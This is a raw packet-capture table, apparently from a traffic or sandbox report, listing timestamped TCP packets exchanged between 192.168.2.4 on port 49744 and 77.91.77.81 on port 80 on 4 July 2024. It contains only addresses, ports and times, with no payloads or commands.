Jul 4, 2024 20:34:24.538630009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538640022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538650036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538659096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538670063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538670063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538680077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538690090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538692951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538710117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538722038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538826942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538837910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538846970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538856030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538871050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538872957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538899899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538917065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538928032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538938999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538949013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.538959980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538981915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.538989067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539000034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539011002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539017916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539021969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539032936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539041996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539067030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539068937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539105892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539113998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539124966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539149046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539160013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539175034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539186001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539196014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539206028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539206028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539231062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539256096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539283991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539294958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539305925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539316893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539334059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539335012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539345026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539372921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539433002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539448977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539459944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539467096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539469957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539499998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539536953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539547920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539556980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539567947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539578915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539599895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539602995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539637089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539645910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539649010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539659977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539665937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539681911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539691925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539701939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539702892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539711952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539731979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539752960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539788961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539804935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539815903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539824009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539825916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.539844036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.539865971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.542834044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.542880058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.542896986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.542927027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543258905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543303013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543304920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543315887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543327093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543340921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543350935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543401957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543412924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543422937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543432951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543446064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543464899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543478966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543493986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543508053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543517113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543518066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543526888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.543544054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.543574095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588085890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588105917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588115931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588160038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588161945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588172913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588185072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588190079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588196993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588207006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588232040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588258982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588287115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588303089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588313103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588326931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588327885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588337898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588341951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588349104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588363886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588391066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.588727951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588738918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.588778019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.619446993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619467974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619478941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619489908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619499922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619509935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619520903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619582891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.619585991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619597912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619615078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619626999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619637966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619640112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.619640112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.619645119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619652987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.619654894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.619697094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635348082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635363102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635380030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635390997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635405064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635416031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635426044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635437965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635437012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635473967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635497093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635513067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635524035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635535002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635544062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635552883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635555029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635560989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635565996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635596991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635662079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635674000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635684013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635694981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635705948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635713100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635721922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635731936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635742903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635752916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635754108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635762930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635773897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635785103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635795116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635796070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635816097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635822058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.635879993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.635925055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636027098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636038065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636048079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636058092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636068106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636077881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636079073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636096001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636106968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636118889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636121988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636132956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636142015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636152029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636158943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636162043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636174917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636184931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636184931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636194944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636204004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636204958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636215925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636224031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636244059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636271954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636442900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636454105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636464119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636473894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636490107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636502028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636503935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636512995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636523008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636544943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636559963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636581898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636599064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636609077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636619091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636626959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636630058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636636019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636641026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636651039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636661053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636671066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636681080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636687994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636692047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636698008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636702061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636713028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636720896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636723042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.636743069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.636776924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640830040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640841007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640851974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640886068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640897036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640908957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640913010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640919924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640930891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640944004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640952110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640974998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640983105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.640985966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.640995979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.641011000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.641012907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.641025066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.641033888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.641036987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.641045094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.641052961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.641084909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.683804035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683825016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683841944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683851957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683862925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683876038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.683878899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683891058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.683893919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.683927059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.684645891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684690952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684694052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.684701920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684745073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.684756994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684767008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684777021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684782982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.684899092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.684969902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.713872910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.713891983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.713902950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.713917971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.713949919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.713977098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.713988066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.713998079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.714010954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.714014053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.714039087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.714062929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.715626001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.715636969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.715648890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.715658903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.715667009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.715699911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.717010975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.717031002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.717041969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.717050076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.717084885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.717132092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.717170954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732403994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732532024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732543945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732556105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732558966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732575893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732593060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732604027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732614040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:24.732615948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732631922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:24.732640028 CEST	49744	80	192.168.2.4	77.91.77.81
